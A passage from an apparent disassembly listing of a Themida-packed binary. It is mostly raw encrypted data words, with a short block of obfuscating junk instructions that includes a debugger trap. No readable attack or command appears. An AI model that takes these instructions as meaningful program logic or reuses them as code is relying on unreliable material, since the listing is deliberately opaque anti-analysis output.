dd 0E93F6874h, 0CEF0606Bh, 5EF1295Bh, 0A4C0C8E6h, 26E79C3h
dd 0E681A01h, 0B1084B11h, 43F700C5h, 56E923A2h, 0C2972560h
dd 0CB5451h, 0BA525935h, 55795F21h, 0EAFEF3B0h, 0C6660401h
dd 5AD00133h, 0DB2D0681h, 0E076C03Ah, 27FE883h, 316D4F90h
dd 3A200D06h, 16D3C182h, 20619010h, 7140437Fh, 0F24F9A5Bh
dd 15044C3Dh, 290F83C8h, 1923A4C5h, 4C267D2h, 0FA231B14h
dd 5A976990h, 0A0EC5FD8h, 6DE8987h, 8BF0315Bh, 0E3F2F434h
dd 8318D493h, 0A9AEE90Ch, 0CDD858BFh, 0FC2E92FBh, 306D1303h
dd 55F81A53h, 50A8F62Dh
dd 10A4B841h, 4063A713h, 3305DC00h, 120DE20Eh, 0D03E0C1h
dd 185C1C60h, 90C287ECh, 60D7895Ch, 14B1F70Ah, 0CC219D3Ch
dd 0D01FDD3Fh, 3DF3003Fh, 0F7047650h, 0DC56D333h, 0D30D875Bh
dd 6D6C422h, 0CBB0F85h, 0D45D95A0h, 996C4083h, 2D18A0BAh
dd 311C1DB6h, 7A814254h, 0E8826A06h, 0E364E2E9h, 9252E02Ch
dd 20F81C46h, 2924F097h, 4221D6CEh, 855BD9B5h, 808AB633h
dd 9901C0A1h, 0FACA0394h, 0DFCA54D4h, 0C6F7FE85h, 3AA00815h
dd 0D8204C36h, 0CA3CA879h, 0A977093Bh, 0A1814A13h, 219A221Ah
dd 0EFA01040h, 0C7242E8Bh, 512F57Eh, 0DC377435h, 4B2849D2h
dd 18B5B7B2h, 19057209h, 2E21E808h, 68035A52h, 552E683Dh
dd 0F9F42A28h, 0E208808Dh, 4668580Dh, 3A812133h, 0EC8026B4h
dd 10D970E8h, 0B6B0E2E0h, 5A3020EBh, 218A14F5h, 8F25C26h
dd 8B1E542Ah, 74C81A4h, 50F9057h, 3BE3476Bh, 0FC9E1889h
dd 0F7050716h, 6D556827h, 60E9C08Ch, 0D59C351h, 0EB5B4E80h
dd 26B398E0h, 442AF2Ch, 8144782Bh, 0C392Dh, 581C77FFh
dd 1024AB9Dh, 9CA94424h, 53B28933h, 1B2D3332h, 8F68AC6h
dd 83502CE3h, 6644E7F0h, 0BA9AEA97h, 8802C050h, 0B507515Ch
dd 0D9ED805Bh, 829BC533h, 414662EBh, 44144DADh, 0BD77CD0h
dd 7359065Dh, 5209B1Ch, 0C0DBF75Fh, 447C7F9Dh, 0B9514C00h
dd 11CE4F96h, 0E9C80931h, 4B208705h, 1A6D8ECDh, 0B42A307Bh
dd 0E509D2F9h, 82AB56D0h, 69F77613h, 9F61D92Ch, 9C53404h
dd 44ECD08h, 8C727D68h, 0CA0CB517h, 0D081CD80h, 0B6522C01h
dd 62FA0941h, 0D28B4C23h, 2DF05926h, 5DB6092Ch, 0B2ECF92Eh
dd 0EEA9C00Bh, 27CF0D8Ah, 2BD60126h, 5A690820h, 0A832161Eh
dd 0CB4BE206h, 5C95E397h, 29CB6804h, 60587998h, 95F62F1Eh
dd 4D03725Ah, 315EF729h, 0E5B634F8h, 8FCE02C5h, 0D4A94047h
dd 0A0E92021h, 0EB438119h, 2992211Bh, 0F2D0C84h, 0F5B0A0BCh
dd 49107317h, 80033509h, 0A4F05A06h, 0F5314955h, 17F6C303h
dd 3C060979h, 2238750Ah, 55C5000Ch, 0FB017E8Bh, 1B67E1E9h
dd 837B096Eh, 0B02E35Dh, 0BE57D03Eh, 39CDEC83h, 0EA94E341h
db 0E0h
; ---------------------------------------------------------------------------
loc_51ADF1: ; CODE XREF: Themida_:0051AE2Fj
dec esp
and eax, 27BD0537h
out 0F8h, eax ; AT 80287 data.
; 286 sends opcodes & operands and receives results.
mov al, ds:7A11B280h
xchg eax, edx
adc dh, [edx]
sub ebp, esi
adc [eax+32224808h], bl
mov dh, 43h
inc dword ptr [eax]
pop eax
push ebp
mov ebp, esp
mov bl, 0F3h
add al, 68h
pusha
push cs
int 3 ; Trap to Debugger
or eax, 77C901B8h
sub al, 0Ch
xor eax, 1ADC70EAh
dec eax
adc ch, cl
xor al, 67h
mov [eax-2F67F14Eh], bh
loop loc_51ADF1
inc ecx
add eax, 0C016F280h
rcr dword ptr [edx-70h], cl
and dword ptr [eax], 0FFFFFFC1h
xchg eax, edx
shrd dword ptr [ebx-49h], edx, 1Eh
sub [ebx-58h], esi
retf 2A44h
; ---------------------------------------------------------------------------
db 1Dh, 13h, 68h
dd 73549DBh, 4DCC7E01h, 0AD401018h, 1FF9553Eh, 0D6540131h
dd 0FC9D0608h, 89943286h, 315F59CCh, 0CC265452h, 0E6C00036h
dd 0C6800707h, 0D3372CC8h, 1A2E278Ch, 7D66CBBEh, 8266559Fh
dd 0D3D113E4h, 5C82D12h, 894628E4h, 0DE963C74h, 0C4A29ECDh
dd 0AA6C601Ch, 70EB5AD6h, 29FED5DFh, 2B2C0C44h, 0BD555FC1h
dd 0C9100F63h, 945F4C40h, 0FC68087Ch, 82872C03h, 6DDC4620h
dd 26123CC2h, 20050143h, 0E91439Fh, 220A4C7h, 90295F4Bh
dd 0B04C925Dh, 66304007h, 465713CFh, 4C142221h, 0BE9EAF5Ch
dd 2914D27Dh, 657B0997h, 1A9D22C2h, 255DF268h, 0C220BF99h
dd 31E9FA01h, 53EB0C63h, 38D0h, 505273ECh, 4C24EEB0h, 0E820AA13h
dd 0F8EA012Eh, 0A6617002h, 523C4128h, 3E9A004h, 800C04FFh
dd 0F6644202h, 0DE465360h, 3001C51h, 59895758h, 0E9837BE7h
dd 6E42DF37h, 26AE59BAh, 0FE428D10h, 246D46CFh, 5A04555Ah
dd 0B0EC5392h, 9486FB90h, 872058F8h, 0F2A1802Ch, 1D27096Fh
dd 8B4279E9h, 0C44FF859h, 5E0A0938h, 35A108D3h, 38645D1Ch
dd 0C00E3043h, 8C4C296Bh, 58590C80h, 13380505h, 0CDC2725Eh
dd 68FE81B6h, 89232EF4h, 9CE98A36h, 5F7C371Fh, 70442D7h
dd 3109173Bh, 6333706h, 0FE5E10A0h, 0AB0A292h, 1F2D775Ch
dd 80B60161h, 80E0920Ch, 0FC090CDh, 5E3406E8h, 0D6046CCBh
dd 0BDDC8058h, 8949F0E9h, 34769849h, 0CBE98363h, 6911E059h
dd 0EA84AB1h, 6854BA98h, 840BBE96h, 8A286948h, 8918ABE3h
dd 73EE0111h, 0E9F5175Dh, 0AD464136h, 3352A068h, 7EBA0278h
dd 42676621h, 0E9ACB169h, 877377FDh, 0CCD2E778h, 0ACBA048Fh
dd 8310705Dh, 0D0AA857h, 0FE593EE9h, 0C17D7DBBh, 331B491Dh
dd 298E07BFh, 0B7D50B66h, 0C3845B97h, 71E23EC0h, 0C7E6028h
dd 437A5E9Fh, 78BCD0C1h, 18851879h, 1D8B3576h, 205EA6FAh
dd 0FD898008h, 74FF8043h, 894F26B4h, 2923C05Ch, 515D30E8h
dd 0FA1F73B8h, 0C20E82B0h, 61DAF7DEh, 495AD189h, 3FF6EA40h
dd 0CB20C079h, 6DC37E1Dh, 0EBE08395h, 5E462C18h, 0A4C61E08h
dd 6BE401Eh, 0C11F25CFh, 0CBA607E2h, 94171C25h, 44E909A0h
dd 685570A0h, 20997739h, 914C12BFh, 9DEDC6DDh, 42E23335h
dd 80AB92B7h, 5D634AB8h, 0C2E9767Eh, 1CF7664Bh, 182C2150h
dd 0F8304CEh, 0D156C8BEh, 289D6E70h, 94968A4Bh, 0DE0A6D9h
dd 104388DEh, 0F830023Fh, 8BAB54F3h, 20C6428h, 0DDEDE943h
dd 1D607050h, 0D0260F94h, 0A2ED8350h, 20E05A62h, 0FC80059Dh
dd 270C6E19h, 38D5F715h, 672178D9h, 63580C20h, 0F5E01B0Ch
dd 3412ADE1h, 7816296Dh, 97E29200h, 54E9C069h, 0CD33D028h
dd 0A00631B6h, 51009B0Dh, 0B0B454B5h, 559EC30h, 0BEE9C4FEh
dd 0C3AB429h, 624F7F18h, 13A3C6DEh, 90109F8h, 0EE6082C2h
dd 9D00BE56h, 68225973h, 0E01D0593h, 8332C05Fh, 0E912023Dh
dd 5414D933h, 0A4E2E042h, 178A240Fh, 95EC009Bh, 0D3899F10h
dd 8E2DE915h, 9C564BC4h, 394B9C8Ah, 40D932A4h, 80508EEDh
dd 1EA20161h, 0D0A190D2h, 0E2BCA1E4h, 6E5F6841h, 289E793Ch
dd 918B780Dh, 0EE323143h, 114D85Eh, 81EF51h, 0DA90E908h
dd 7A2E5CDEh, 0E3704100h, 3BE1816Dh, 59B24D46h, 4441F396h
dd 0FFE7F07Fh, 9A27526h, 3B405B39h, 516CD4E2h, 3D92A034h
dd 1C502C6Bh, 0BCE909E7h, 0B96607E0h, 1D1B993Ah, 36E4CA31h
dd 1003650Bh, 240A4CD5h, 12C81335h, 7B6B0805h, 4EE8304h
dd 0E45097E3h, 0BF1CC065h, 233D4BBCh, 0EDE7C130h, 74C81F01h
dd 0E9FD3CCAh, 40723C2Ch, 7BE67420h, 8BE40500h, 32E98419h
dd 73ED9410h, 0FEC958F2h, 65E8A59h, 0B0B8047h, 0E96C027Fh
dd 7F94D015h, 0D7F736D1h, 0FE748427h, 1F57D0Bh, 0D86B83F8h
dd 83F0BCE9h, 0F5901BEh, 874668D1h, 7AF7F4DEh, 894F7C94h
dd 0E9F5E3ABh, 1B975025h, 0E14B0AC5h, 4FC281B8h, 4632AD07h
dd 0EA067497h, 0AE61AD2h, 995F051Eh, 6319FC4h, 460D65C1h
dd 0D3DE3348h, 40046125h, 81008D9Bh, 2B7D27CEh, 2004724Ch
dd 9FB8588Fh, 5A09BF18h, 0B61D67F2h, 76B42918h, 1580800h
dd 37E95AD5h, 6FA6EF3Fh, 8B5D533Dh, 0FE8902DEh, 42F3215Fh
dd 0B55909Bh, 850F3EDBh, 680A755Dh, 6B8D0DC1h, 732DEF39h
dd 89224C60h, 80BAC458h, 0C08152E2h, 0DC3F28F4h, 0F4A25B21h
dd 0E9D6070Ah, 0A320AFA4h, 56361004h, 0D9545117h, 237DF814h
dd 0CB410BC5h, 0E3A52B94h, 875ACE84h, 0C10C87FAh, 387EDE68h
dd 48548912h, 803F9272h, 0DDEED929h, 9327064Bh, 9916F1F2h
dd 6A631DDh, 2CFF100Fh, 4A3C1A5Ch, 78127C1Fh, 35683143h
dd 9D9D255Eh, 814B9800h, 751286E3h, 3A08702Fh, 3FBF011Fh
dd 0E80CB13Bh, 0F9A866CEh, 0FD010BDAh, 69B92D31h, 0C48279CAh
dd 63B54FF5h, 2A8BF38Eh, 285C8E19h, 485D7C0Ah, 0F9090FB6h
dd 6AF3065Fh, 6E050028h, 2964B713h, 0CDFB51F8h, 4C577346h
dd 0F24D10CFh, 6205C642h, 945DB920h, 7D5080D1h, 6B162F73h
dd 9B5360E9h, 0C781D465h, 0B148457h, 4D075696h, 63F15181h
dd 0EDB0C745h, 0BE16DC4Fh, 41008927h, 571C4BBDh, 21CD643h
dd 5621FF1Dh, 48C1E6D2h, 1943BFBDh, 31350BE3h, 67005EF5h
dd 47B15B4Eh, 733059C0h, 30E95333h, 808831BAh, 0F3E63EE3h
dd 256E025Ch, 0C1D213F1h, 30244CC5h, 7C5B0B68h, 15656FE6h
dd 18CA4520h, 462A8EF7h, 68338861h, 0D0384D33h, 2A10AF90h
dd 0C14A4861h, 0D47FF2C4h, 0E2AE2F9h, 2FDC5487h, 824E4F84h
dd 0C50B1F46h, 0DA010977h, 0AEB8E3E6h, 0E913B4B8h, 4C40DC22h
dd 695075C5h, 4B2AB8F6h, 833D2708h, 2774E784h, 6717FB0Eh
dd 0C8F7C753h, 0C8BDEF72h, 0CB608BD4h, 0F1A1C237h, 0CFC12958h
dd 0CC9EF245h, 0F90B8741h, 90DAF6E9h, 0E05820E8h, 0F0539814h
dd 46725C5Dh, 0E4FD22Ch, 1C331F6Dh, 6F4438AEh, 57212540h
dd 0B1379D8h, 3E4604C0h, 500BE9h, 706BAA9Ch, 1EF75A02h
dd 0BDE0C027h, 0F6B4E979h, 12473B2h, 6D0891D3h, 71E4371Ah
dd 82081B1Eh, 2B1FEF0Ch, 4E4F003Ch, 0E927272Fh, 0F6F98502h
dd 6C40AA19h, 0FB29AF81h, 0E491EB81h, 0CD9E3299h, 468F6E02h
dd 45FAB5Fh, 4A40272h, 2DEE9A04h, 0FC22CCAAh, 0CA0C239Ch
dd 2C5277D6h, 8D5769h, 49387D86h, 7A1CCD25h, 528C04E9h
dd 1CD59333h, 0A4D0EB86h, 97EF1F67h, 0B15947E4h, 0EFC1A775h
dd 79214E49h, 251C5709h, 62282A71h, 91447F68h, 0E5A7B9D1h
dd 0CE9E2814h, 54B9E950h, 6189DD07h, 0F680D4C8h, 1EC6CC2Bh
dd 28CC06C2h, 1C9E82F5h, 5D02182h, 63E17BF4h, 0E99713F7h
dd 4755640h, 1E167042h, 203E2E76h, 5B4C75A8h, 6C4C84D3h
dd 5EC15212h, 0D637CCC7h, 0C1775B88h, 7C680A0Ch, 5EF5A573h
dd 25117755h, 0D612E411h, 0DE3C7558h, 873BA50Ch, 46EF1881h
dd 96C70A7Ch, 7F6F3C7Fh, 0C5F1C0F3h, 95CC0482h, 0EFC1AE00h
dd 8E2AE907h, 0EA329D35h, 424FE0D0h, 40EF0E7Fh, 1030F67h
dd 895824C2h, 7A292850h, 0CAA52E39h, 0EF2B50h, 7440DB2Dh
dd 6718357Bh, 36A21D58h, 0B584C7CAh, 0F0C0743Ah, 438AC3Ch
dd 0A7D82C9Ah, 4B29E958h, 95F23778h, 319144CDh, 3C9AC0FDh
dd 0A9121EA8h, 5B85E821h, 20E90DA0h, 0C1265091h, 0BC3961E1h
dd 6F19940Ah, 188374AFh, 0F64A42E2h, 1B2413A7h, 0E905C004h
dd 93A4845Fh, 135AB090h, 60DBF726h, 703B9A6h, 3C1DD826h
dd 66D11418h
dd 0E9AD7368h, 1A3327A4h, 82611C3Dh, 0ED732581h, 669D3590h
dd 0CD455F0Bh, 7302743Ah, 60EDD15Fh, 1E153B8Eh, 0C175EAh
dd 0C9685007h, 58F2034Ch, 0CFCCE93Fh, 2D1A154h, 76631897h
dd 25206089h, 0B5D09E1Fh, 1046E24Ch, 662F8BFCh, 91C050Ah
dd 0F903D2CFh, 1D481BB5h, 5A7F2426h, 0E52DA02Dh, 1F6CB4h
dd 0FFED8318h, 56BDBB53h, 4E24993Bh, 0E95B4602h, 0B6A648D3h
dd 0CBB50F8Dh, 166CDFEh, 0C6EEFEEEh, 3F60B0EEh, 895EF19Fh
dd 21591FCEh, 69BB49F0h, 0F784AB2h, 4BE0540h, 1FF2779Eh
dd 92B3C446h, 0E1A25F98h, 0B3022F70h, 60A0C167h, 5CCAEBCCh
dd 0EC129588h, 5C0FDC79h, 947836CBh, 0E8C1070Ch, 29C83108h
dd 0A11E5584h, 0C5226851h, 0E740D3A6h, 0F552E5EDh, 7F9C22h
dd 892DDC57h, 68135DE9h, 0FC8C722Ah, 30A8A852h, 0B6179AC8h
dd 612526Dh, 61B00272h, 0CBF6795Ch, 0B6FEC859h, 0FE58800Eh
dd 0CD80C50Ah, 0F73ABAC4h, 0D6064768h, 0C09B713h, 228462AFh
dd 515FB0B6h, 0D99BA5B3h, 0FF7A88BCh, 21DA8195h, 81301C4Fh
dd 1254DFE1h, 313C1358h, 6C5EF0FAh, 0A740D6FCh, 4A3635F7h
dd 73AC02BEh, 0EE3113CFh, 0A289E15Ch, 8A0C4652h, 0EC8C59FCh
dd 43039E50h, 0D5F772D1h, 268ACBE9h, 971A01FFh, 44771F5Eh
dd 82B040C8h, 8E8314Ah, 7A047FC2h, 0CA0114C7h, 80402C4h
dd 3AC85259h, 22F3A65Ah, 0C704C8F0h, 85ED54DCh, 3F3146B1h
dd 24056CC4h, 86A011Ch, 192D362Ah, 4FF0C38Eh, 0C4199713h
dd 15BF395Ch, 40706E8Dh, 6FC0ECE5h, 34E826EAh, 782D1CD8h
dd 11FCB30h, 16074E08h, 874F495Ah, 3B865960h, 5815F109h
dd 11868453h, 0D7B76805h, 4039A290h, 50A846D9h, 0F72556B2h
dd 0E95F1BF9h, 729230Bh, 1EC1052Eh, 71F98CCBh, 3AB00712h
dd 145D2403h, 9ECAE975h, 0C4D43065h, 5EEC052h, 6DCE8001h
dd 0F6F08850h, 59A0A520h, 5102A45Ah, 0F31345B9h, 502A0FC0h
dd 0CDD98782h, 4AB8B5E2h, 0E9354067h, 89BDD24Dh, 7D10E8E7h
dd 0F831159Bh, 14585577h, 94E26984h, 187A5801h, 0DE01DCDAh
dd 0C6205698h, 7828B01Ch, 6D542050h, 0B5225D6Ah, 8CD25B93h
dd 9D81D2C6h, 6313E06h, 93C20DD2h, 203C164h, 8546FB44h
dd 4D6C3FEh, 5BDC3042h, 7081FA88h, 0F6255146h, 3D6BEFD8h
dd 0EAA50D80h, 9CE8878Bh, 0F00B1E38h, 80464E7Eh, 54865372h
dd 0FC0A002h, 2456F02Ah, 2050F729h, 1B099508h, 68847159h
dd 75E8629Fh, 912139C1h, 92D1055Ah, 0D03C85E9h, 207B1E42h
dd 68164AA9h, 0D7675AEDh, 0F793BFDh, 0C25E9996h, 3C968241h
dd 0D3F70045h, 3702F381h, 43543F1Ch, 0E20E8812h, 0A8553D2Fh
dd 0E701D65Dh, 516A6C56h, 0E67461E9h, 4B57EB2h, 0EBC044B3h
dd 0DBF4C008h, 0E7A0D828h, 468273F1h, 53BEC84Ah, 0ABB86603h
dd 0B048A355h, 0F407B205h, 7B0CC740h, 0C74BCE09h, 0A5408F0Bh
dd 0E607815Eh, 1CAC0F61h, 7641F660h, 0F74D1208h, 990601DEh
dd 2E64F4B3h, 0F0A92D0Fh, 8051127Ah, 460209E3h, 9E256EA3h
dd 0C15855D8h, 0B0C0E05Bh, 54DD39A8h, 1CEB890Ch, 0BB7B210Dh
dd 46A9CB03h, 18041F8Eh, 1638519Bh, 8B5C7D01h, 0C78A6023h
dd 0B8615DD2h, 0EA20EB01h, 6F099F40h, 83A9FE04h, 23D91EA2h
dd 0E3742E06h, 66CAAFE8h, 18CA42ECh, 270FC52h, 0E9C159B6h
dd 8D043F5Ch, 401E0795h, 0D0E99C50h, 0B182C260h, 2CF180DEh
dd 3BF228A1h, 4944E61Eh, 8B0010F6h, 7702E93Bh, 7B56CB1h
dd 14F2E913h, 99D683CEh, 0C2E27DEEh, 7C2674E9h, 0BF90E995h
dd 0B88173C8h, 79C36C52h, 885392C3h, 595BAD3Eh, 3A690641h
dd 9CED6CDDh, 0D932FD65h, 6BAB68A0h, 0DBB5F099h, 58509CCCh
dd 8F58A254h, 1559D944h, 5A114E68h, 1FD25533h, 0ACAADD78h
dd 1563E986h, 67C73A4Ah, 91A85335h, 98685BA0h, 8B20075Ah
dd 94194EE9h, 22498150h, 0D95A41E0h, 0E9FC5036h, 0C0805BB9h
dd 300878E6h, 0EEE94FF3h, 2330E172h, 28C0F4E2h, 83715CD1h
dd 2F50850Bh, 0A78C0809h, 5E4DF371h, 0CB454AB6h, 0F72880C8h
dd 283FB158h, 0BBE2E622h, 87262Ch, 30A645CBh, 0E4B0F201h
dd 5C5E0881h, 8F800CF3h, 793A9737h, 685BEC19h, 739790FAh
dd 3355E726h, 0E7E9008h, 0A5E4C101h, 9F4AFC0Bh, 3C389D5h
dd 360E3558h, 0FBE4AC42h, 51D6408Dh, 0C942685Eh, 4ACA8959h
dd 3FC756B7h, 0E9C09A3Dh, 0BE4DD74Eh, 33D12231h, 820808A0h
dd 5FCE49BAh, 196C82D9h, 9A014448h, 31749F4Eh, 308047F1h
dd 1C2947FEh, 1AA84F3h, 0C3D85FFDh, 0D3C3E6E9h, 111FF640h
dd 0D30207A1h, 2C3835Ah, 0B44AA5F9h, 2C13889h, 542042EDh
dd 6A7E8B6Ah, 0F3B460B0h, 0FA9DC382h, 201AD20Eh, 317CEB40h
dd 6600EE9Ah, 8144C726h, 0F20951E3h, 7C3EC0Bh, 69C791Dh
dd 14001B43h, 58A40C9Ah, 896802B5h, 5C5F6CCEh, 997EC501h
dd 2596284Dh, 71E60C86h, 6282E2E9h, 145CF9F6h, 0A4E9CC02h
dd 889ED97Ah, 400077E4h, 335D0F7h, 0B623E45h, 0B4F45596h
dd 531E6D05h, 8CD201CCh, 0D9F7C0C1h, 1F44E360h, 898474EFh
dd 3E3259CBh, 766A4FF9h, 9307B697h, 0F00190F6h, 2C3E505Ah
dd 0C55FE99Ah, 1D062D16h, 480CFA25h, 0CD105A50h, 425E260Fh
dd 25A5F370h, 1D840DE9h, 0C938FC5Dh, 0C1B119BBh, 0CF354273h
dd 0CB9EE4EFh, 5A12AFBCh, 0B80713A3h, 90E641F7h, 0A14F8505h
dd 8844374Fh, 5D94DBDFh, 74006DFDh, 576D5509h, 3A32EFBFh
dd 40FA2ED1h, 0BB5A676Eh, 406805E4h, 97EE370h, 234B72E9h
dd 4ABFA35Ah, 4D03C95Ch, 10DC7208h, 2933C11Dh, 6048112h
dd 79D54028h, 45B9E7C1h, 7FE96BD4h, 1368911Fh, 53AA21FDh
dd 6F987339h, 3F5003B6h, 0AF81CC0Fh, 12646C31h, 6AE06BACh
dd 94D1BA1Bh, 0EADF5366h, 83A042F2h, 510C32C2h, 0ABE9EB0Ah
dd 0F98FD47Ch, 0B3480F91h, 3873439Dh, 0A712124Ch, 20DBB359h
dd 8021C381h, 0CE4B5EE7h, 5BDD31D1h, 11070921h, 0CF95F2E4h
dd 0D5F70E42h, 2F76C655h, 0AF135146h, 7DE189B1h, 0C92F8660h
dd 0D1524C40h, 0AE19D069h, 0BF2C20BBh, 0EE9640Ch, 48C3FF1Eh
dd 5404EB01h, 80474835h, 0AC34CFF7h, 184D2C40h, 0C1E8C02h
dd 0F309DCE7h, 0ED889BCh, 5BABF5CEh, 8917FB8Bh, 0E4D508DAh
dd 0F8AEC425h, 0E2199DE0h, 7447E9E9h, 0DF39F755h, 0B86C8481h
dd 3F919DDBh, 45F5E95Bh, 17A57B1h, 0B95100C2h, 0A65F1EBCh
dd 1437C97Bh, 31A268F1h, 9D62D720h, 7268DF02h, 3D1EFF0Ah
dd 8915B28Bh, 32658BDh, 525166ACh, 602EFB6h, 2889B5A8h
dd 0C2035EF5h, 1026FDFh, 8C0D98D1h, 32DC8A51h, 80DD2FBDh
dd 68D830E3h, 8621597Fh, 0E2483A85h, 44840850h, 18680AEAh
dd 61E985D4h, 56AFCC67h, 5E120B91h, 0FA2CA924h, 0F1B19D56h
dd 1287A4B3h, 0A607652Dh, 92E9C2E9h, 881478D0h, 19C35911h
dd 540BDB7h, 9CEB73F5h, 5CEB6081h, 9D4112E0h, 854230Eh
dd 59C3E04Ah, 71397618h, 663C78Ch, 0EDC17D4Bh, 25C0603h
dd 0E6B6034Ch, 0ECE98A2Eh, 0FEABAB4h, 0F1486719h, 22727B6Bh
dd 3AF0C204h, 0B4C31A6Ch, 25A50193h, 2CDE506Ah, 86C28935h
dd 0A67BD828h, 955D55A0h, 0CED9A25h, 4C31DB6Ch, 305954D7h
dd 2E1AF63Ch, 0F2BC7531h, 0C729002Dh, 62D5F97h, 8A48CED1h
dd 610977A8h, 14B4CD7h, 0A77DD445h, 0B64F6D30h, 0C680062Eh
dd 90900623h, 381462Ch, 0C0BACE42h, 5083785Eh, 0EDAFF5EEh
dd 2C1FF2Ch, 82181A37h
dd 2F14E092h, 0BE7A6144h, 368FAC93h, 9299F09Ah, 0F2071A8h
dd 0E8281756h, 11D88B59h, 714D1D70h, 5615F43Dh, 2118FD28h
dd 7B9F290Dh, 1831A027h, 3C78137h, 506C581Ch, 0EFC0D7F7h
dd 0F8583487h, 0CD8B3CB1h, 0D7C2286Fh, 13025EECh, 0E3685828h
dd 46729220h, 88C24FA3h, 0EC4E3FB4h, 0E0584AD2h, 2462C31h
dd 0D3F74A30h, 0E04AA2E9h, 292DAE74h, 149BB813h, 0B51EFE49h
dd 26C7C0Ah, 0E4A3FDBh, 6C1A9261h, 0F8169E6Ch, 474C9E5Fh
dd 0BB90ABCh, 1D9D3020h, 545FDD80h, 8CA11B63h, 3D060514h
dd 62472EF0h, 0FE3010C6h, 8F97756Ch, 0DE5486CFh, 7F287718h
dd 50520F58h, 89AC74B4h, 0EE2CC179h, 91E2503h, 0CB2CA18Fh
dd 0B2946224h, 0BBBF7AE7h, 5A522A7h, 0F5855A9h, 34B9E529h
dd 0C927E90Fh, 0F0EBE425h, 8C5A5B18h, 7D5ED222h, 4A177333h
dd 0BBB541E5h, 20EA6C66h, 0B79ED8EFh, 1D3E45A7h, 562AA783h
dd 0F010882h, 0EAC14A03h, 765ECA05h, 0A9453548h, 4EE6A41Ah
dd 0B6CC0850h, 456282E3h, 9EC34E47h, 58379C00h, 7E97DF2h
dd 54BABD4Ch, 59174A7Ch, 89994064h, 0AAE5841h, 503E20C9h
dd 0A3410894h, 307A9B5Dh, 569068B6h, 32A4E299h, 9A525946h
dd 0C38F5E7Ah, 0E26BBA0h, 0B25BD0ADh, 0EE068FEAh, 0EBC9ECE9h
dd 3B63EECAh, 0F2003CF8h, 6CBA5392h, 39F8D689h, 0BE206641h
dd 30D47EF3h, 0EE0C7FA0h, 8195092Bh, 0B9EF6727h, 47CEF61h
dd 763C8E5Bh, 0C1B142F7h, 3B58D010h, 0F5007DF7h, 9EC9F387h
dd 5D15EF31h, 49DBFB89h, 0A0B3D707h, 0E9121152h, 682DA110h
dd 0D0914FF4h, 0D5F3015Bh, 4A4296C1h, 0A258A14Ch, 9F531CD3h
dd 7AD9F2A9h, 45E9EF64h, 0A962E9C5h, 0BA5D10F6h, 714E814Eh
dd 4BF016Eh, 0F90A313Ah, 5666024Eh, 0D965A528h, 0B8AD0621h
dd 2E6B37Dh, 5169F380h, 0D48B77B1h, 0F934CBC2h, 9D41269Fh
dd 0E4C03FADh, 0E380824Fh, 0ED81B0FEh, 6581DFCh, 915E1D68h
dd 39E1B9D9h, 7289C917h, 987F5D11h, 595CD85Fh, 0FC0C294h
dd 2E68C8B7h, 0C3481049h, 5C16B9C3h, 0BAE0F188h, 9B59BA19h
dd 4DB924A1h, 0D996305Ah, 3ED52D02h, 0A9356968h, 7F2D8128h
dd 0AA4E1AE2h, 6EACE92Dh, 4212DD0Ch, 0D3007E55h, 25980E7Fh
dd 0EFEEC84Dh, 99685C02h, 6D2F901Bh, 1E98B778h, 0D1288840h
dd 0E25CC45Ah, 0E654255Bh, 0D5FC205Ah, 2A4A5FBEh, 1502E126h
dd 8B642F6Dh, 123586Dh, 728079B2h, 485FF929h, 1549E90Eh
dd 85FE58F6h, 0B7B4B926h, 290A05EFh, 0B221465Ch, 0A2654EF6h
dd 0AF40E66h, 12343C22h, 54B303FCh, 0C05180Bh, 0FA28E76Bh
dd 54C3DACh, 0D1C20981h, 4132BE2h, 8B7F79A3h, 1FB26004h
dd 3E80416Fh, 48CD3068h, 1C687B43h, 271A2808h, 4D441F16h
dd 7CCFA83h, 3EF4DE30h, 572CEBF8h, 7584251Ah, 2788C905h
dd 0CEE9C46Eh, 0DC688690h, 60D39464h, 6960B3Bh, 0E9F23104h
dd 41ACE8C7h, 12255D84h, 5F17AEA8h, 2FB1A2DFh, 5A38254h
dd 498BFE09h, 1651C489h, 0EDB4664Fh, 0FDB5383Ch, 535AF500h
dd 0B05034B3h, 35303C2Eh, 5BDD2000h, 0EDE9C5FEh, 0B8011938h
dd 216D0986h, 7557ED40h, 84C36810h, 5D000867h, 4C68C331h
dd 8F731C67h, 2F3594D9h, 63A5FFBh, 18A73465h, 0F1D5E945h
dd 885F1693h, 0B5BECA9Dh, 81EBD107h, 9D07C720h, 0DA2912E4h
dd 5D65005Bh, 504E7E46h, 197DB807h, 0C2F41B87h, 0D0DAC3C2h
dd 0EF2D045Ah, 0A02699DEh, 0E83D0995h, 713B8C5Dh, 41087C0Eh
dd 0B62D6029h, 6B5FC04Eh, 7205152h, 24062CBFh, 0E793741h
dd 116B5094h, 74C5B980h, 84BDC617h, 9F858993h, 0D0E94301h
dd 0A9DF3A40h, 0F03C1F7Ah, 7376DC4h, 4EE30566h, 22BEA956h
dd 0CE81C8D7h, 0A1FAA083h, 0E689800Eh, 2EB15756h, 6B1279FEh
dd 7B5849B6h, 0AC279749h, 0B2684C45h, 150CDC0Dh, 0F0155C78h
dd 5D2B554Dh, 706C24D9h, 2C0BD3C1h, 645554A1h, 9AE93038h
dd 5680BD25h, 0D705392Ch, 0EC3AE405h, 41E9D211h, 0F6292108h
dd 831E5751h, 25657965h, 0E8F4ED5Ah, 5A9EB99Ah, 8A12A9BCh
dd 0F1832727h, 651A13CCh, 0B864D45Ah, 2F680CFFh, 4026A16Ah
dd 6A995A48h, 0A940C912h, 0E688D4F6h, 0B4501658h, 470C040Fh
dd 3236AF4Ch, 139842ECh, 2C9043F5h, 7B6752C3h, 161E2714h
dd 0CA98C0E4h, 7A75375Fh, 7BA9B9A8h, 20E9DB2Ch, 0F7983976h
dd 8AB2521Eh, 0A6616B89h, 9E91533Eh, 71C650AEh, 51A22A12h
dd 67800700h, 9501134Ah, 12082308h, 66370052h, 89645054h
dd 5C4F1DB8h, 0E8D11281h, 465C812Eh, 0C9127253h, 29D86724h
dd 0BBF2691Eh, 75600528h, 0CEEADBDh, 0F9FA357Bh, 21F34A06h
dd 0B374AD84h, 0FE260FF3h, 0A05B89CEh, 377BBFE0h, 5A717A77h
dd 58AC0B4Eh, 0A526B1DBh, 11606804h, 65D677A2h, 520BCC08h
dd 6DC26815h, 3B9021Ah, 5D38CA7Bh, 87490384h, 0A5F96192h
dd 68B3008h, 3FED3509h, 0F0CB7829h, 0EDC9DD4Ah, 45B5687h
dd 5642D0F3h, 1E955E54h, 62E9133Ch, 296ADC10h, 875EF017h
